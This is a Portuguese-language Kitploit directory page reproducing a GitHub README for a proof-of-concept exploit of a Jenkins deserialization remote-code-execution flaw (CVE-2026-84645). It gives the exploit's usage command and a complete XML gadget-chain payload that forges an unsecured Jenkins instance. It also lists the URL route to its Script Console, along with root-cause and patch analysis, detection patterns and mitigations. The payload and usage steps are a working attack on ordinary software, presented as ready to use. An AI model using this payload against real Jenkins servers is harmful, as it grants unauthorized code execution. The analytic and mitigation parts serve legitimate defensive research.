Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-84645 — Jenkins PersistenceRoot Desserialização RCE (SECURITY-3972) — PoC e análise. Requer Item/Configure; afeta weekly <= 2.579 / LTS <= 2.568.2 | Kitploit
Ferramentas/GitHubGitHub/mhtsec/cve-2026-84645
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubmhtsec/cve-2026-84645

CVE-2026-84645

Jenkins PersistenceRoot Desserialização RCE (SECURITY-3972) — PoC e análise. Requer Item/Configure; afeta weekly <= 2.579 / LTS <= 2.568.2

Ver Repositório
há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-84645 — Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972)

PoC para a vulnerabilidade de desserialização do Jenkins corrigida em 2026-09-02 (advisory). Uma conta com privilégios baixos que possua Item/Configure em qualquer job individual pode transformar isso em execução arbitrária de código como o usuário do SO do Jenkins.

AfetadoJenkins weekly ≤ 2.579, LTS ≤ 2.568.2
Corrigidoweekly 2.580, LTS 2.568.3
Pré-condiçãoautenticado, Item/Configure em ≥ 1 job
ImpactoRCE como a conta de serviço do Jenkins
CVSS8.8 (Alto)

Apenas para pesquisa de segurança autorizada em instâncias de teste vulneráveis.

Uso

root@kitploit:~
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id

O script verifica se a conta não possui permissão de script (espera 403), envia o config.xml manipulado e, em seguida, roteia pelo grafo de objetos injetado até um Script Console cuja ACL é controlada pelo atacante.

Análise técnica

Causa raiz

Dois comportamentos de longa data da pilha XStream do Jenkins (hudson.util.XStream2 / RobustReflectionConverter) se combinam:

  1. Tipos PersistenceRoot podiam ser desserializados como valores de campos aninhados. O JEP-200 restringe quais classes podem ser desserializadas, mas não onde no grafo de objetos. Qualquer campo tipado como (ou atribuível a) um subtipo de PersistenceRoot era desempacotado como um objeto comum. Como o XStream instancia via Unsafe.allocateInstance (sem construtor), um atacante poderia forjar um segundo singleton hudson.model.Hudson com valores de campos arbitrários — incluindo authorizationStrategy.
  2. Campos transientes também eram desempacotados (o comportamento de compatibilidade "desempacotar em campos transientes como o XStream 1.1.3"). As referências de objetos necessárias para o roteamento de requisições do Stapler (FingerprintAction.build, Run.project, AbstractItem.parent) são transientes, então objetos injetados se tornam alcançáveis via HTTP — a redação "subsequently handle HTTP requests via Stapler" do advisory.

Cadeia de gadget

POST /job/<job>/config.xml (apenas precisa de Item/Configure) injeta nos <actions> do job:

root@kitploit:~
<actions>
  <hudson.tasks.Fingerprinter_-FingerprintAction>
    <build class="hudson.model.FreeStyleBuild">        <!-- PersistenceRoot aninhado (defeito 1); campo transiente (defeito 2) -->
      <project class="hudson.model.FreeStyleProject">  <!-- Run.project: protected final transient -->
        <parent class="hudson.model.Hudson">            <!-- AbstractItem.parent: transient; 2º Jenkins forjado -->
          <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
        </parent>
        <name>...</name>
        <properties/>                                  <!-- evita NPE em Job.getOverrides() -->
      </project>
    </build>
    <record/>
  </hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>

O Stapler então roteia a requisição para o grafo forjado:

Segmento de URLResolve paraCaminho de código
/job/<job>/fingerprintsFingerprintAction injetadourlName == "fingerprints" + Actionable.getDynamic()
/runFreeStyleBuild forjadoFingerprintAction.getRun() lê o build transiente
/parentFreeStyleProject forjadoRun.getParent() lê o final transient project
/parenthudson.model.Hudson forjadoAbstractItem.getParent() lê o parent transiente
/scriptTextScript Console da instância forjadaJenkins.doScriptText() → _doScript(..., getACL())

A bypass de autorização: doScriptText verifica ADMINISTER contra a instância que recebeu a requisição, ou seja, getACL() do Hudson forjado, que é derivado do seu próprio campo authorizationStrategy — AuthorizationStrategy$Unsecured concede tudo. A estratégia de autorização do controlador real nunca participa. Como nenhum construtor é executado durante a desserialização, os inicializadores de campos não se aplicam; o payload deve definir authorizationStrategy (e properties) explicitamente.

Análise da correção (2.580)

Diff de jenkins-2.579 → jenkins-2.580:

  • RobustReflectionConverter.doUnmarshal agora se recusa a desempacotar um subtipo de PersistenceRoot em um campo aninhado (CriticalXStreamException: "PersistenceRoot objects are document roots and must not appear as nested field values"), permitindo apenas três formatos seguros: back-references reference= do XStream, replacers não persistentes resolves-to (Run$Replacer, User$Replacer, …) e referências escalares de conversores de valor único.
  • Novas anotações @XStreamNotDeserializable / @XStreamDeserializable além de TRANSIENT_FIELD_STRICT_MODE reforçam o desempacotamento de campos transientes por campo.
  • Jenkins.readResolve() agora se recusa a desserializar um segundo singleton Jenkins e ganhou um replacer writeReplace().
  • Testes de regressão: test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java.

Notas

  • A injeção é em memória (transiente): reiniciar o Jenkins a limpa, mas ela pode ser reenviada à vontade.
  • Detecção: payloads inesperados de POST /job/*/config.xml contendo Fingerprinter_-FingerprintAction / hudson.model.Hudson aninhados, ou requisições para /job/*/fingerprints/run/parent/parent/scriptText.

Mitigação

  • Atualize para weekly ≥ 2.580 / LTS ≥ 2.568.3.
  • Restrinja Item/Configure a administradores confiáveis na matriz de autorização.
  • Audite os logs de acesso para os padrões acima; reinicie instâncias suspeitas e verifique os arquivos config.xml dos jobs quanto a poluição.

Referências

  • https://www.jenkins.io/security/advisory/2026-09-02/#SECURITY-3972
  • https://nvd.nist.gov/vuln/detail/CVE-2026-84645
Baixar ferramenta